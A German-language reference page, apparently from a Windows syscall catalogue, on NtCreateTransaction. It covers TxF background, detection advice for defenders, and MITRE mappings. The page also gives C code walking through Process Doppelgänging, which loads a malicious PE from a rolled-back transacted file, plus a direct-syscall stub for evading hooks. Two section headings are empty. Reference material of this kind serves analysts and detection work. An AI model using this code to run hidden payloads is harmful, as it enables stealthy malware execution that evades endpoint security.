NtCreateTransaction

Prototyp

NTSTATUS NtCreateTransaction(
  PHANDLE            TransactionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  LPGUID             Uow,
  HANDLE             TmHandle,
  ULONG              CreateOptions,
  ULONG              IsolationLevel,
  ULONG              IsolationFlags,
  PLARGE_INTEGER     Timeout,
  PUNICODE_STRING    Description
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 CF 00 00 00      mov eax, 0xCF      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtCreateTransaction setzt auf dem Kernel Transaction Manager (KTM) und dem Common Log File System (CLFS) auf. Eingeführt in Windows Vista zur Unterstützung von TxF (transaktionales NTFS) und TxR (transaktionale Registry), dient das zurückgegebene Handle als Kontext für `NtCreateFile` mit `FILE_OPEN_FOR_TRANSACTED_BINDING` bzw. `CreateFileTransacted` — jeder Schreibvorgang innerhalb der Transaktion bleibt für andere Handles unsichtbar, bis `NtCommitTransaction` aufgerufen wird. Microsoft hat TxF in Windows 10 offiziell als deprecated markiert, die API wird aber weiterhin vollständig ausgeliefert und unterstützt — genau das macht sie weiterhin attraktiv als Evasion-Primitive.

Häufige Malware-Nutzung

Zentraler Baustein von **Process Doppelgänging** (Tal Liberman und Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). Ablauf: (1) `NtCreateTransaction`; (2) `NtCreateFile` *innerhalb* der Transaktion mit harmlos wirkendem Namen; (3) `NtWriteFile` der bösartigen PE; (4) `NtCreateSection` aus dem transaktionalen Handle; (5) `NtRollbackTransaction` — die Datei auf der Platte wird in den ursprünglichen Zustand zurückversetzt (oft eine saubere Kopie von svchost.exe oder notepad.exe), während die Section im Speicher weiterhin die bösartigen Bytes mappt; (6) `NtCreateProcessEx` / `NtCreateThreadEx` auf die Section, um einen Prozess zu starten, dessen Backing-Image laut Win32 die zurückgerollte saubere Datei ist. Die SynAck-Ransomware nutzte das 2018 in the wild, gefolgt von Osiris/Kronos-Bankervarianten. Naher Verwandter — **Transacted Hollowing** — verwendet `NtCommitTransaction` statt eines Rollbacks.

Erkennungs­möglichkeiten

Der ETW-Provider `Microsoft-Windows-Kernel-File` liefert transaktionsbezogene Events (IDs 30/31 für create/commit/rollback) und `Microsoft-Windows-TxF` exponiert die komplette transaktionale NTFS-Oberfläche. Sysmon meldet Transaktionen nicht nativ, EDRs vergleichen jedoch zunehmend `SectionObject->ControlArea->FilePointer` mit dem On-Disk-Inhalt via `NtAreMappedFilesTheSame`, um Abweichungen zu erkennen. Ein Prozess, dessen `Image File Name` (`PEB->ProcessParameters->ImagePathName`) im Hash nicht zur On-Disk-Datei passt, ist der Gold-Standard-IOC für Doppelgänging. Hunting-Query: jeder Nicht-System-Prozess, der ein Transaction-Handle öffnet, eine PE darin schreibt und anschließend eine Section aus dieser transaktionalen Datei erstellt.

Direkte Syscall-Beispiele

// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.

HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
    &hTransaction,
    TRANSACTION_ALL_ACCESS,
    NULL,    // unnamed
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
    L"C:\\Windows\\Temp\\update.dat",
    GENERIC_WRITE | GENERIC_READ, 0, NULL,
    CREATE_ALWAYS, 0, NULL,
    hTransaction, NULL, NULL);

// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);

// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hFile);

// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);

// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                  NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
    mov  r10, rcx
    mov  eax, 0CFh
    syscall
    ret
NtCreateTransaction ENDP

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;

unsafe fn create_tx() -> HANDLE {
    let mut h: HANDLE = null_mut();
    let status = NtCreateTransaction(
        &mut h,
        0x10000000, // TRANSACTION_ALL_ACCESS
        null_mut(), null_mut(), null_mut(),
        0, 0, 0,
        null_mut(), null_mut(),
    );
    assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
    h
}

MITRE ATT&CK-Mappings

• T1055.013Process Doppelgängingmitre ↗
• T1027Obfuscated Files or Informationmitre ↗
• T1106Native APImitre ↗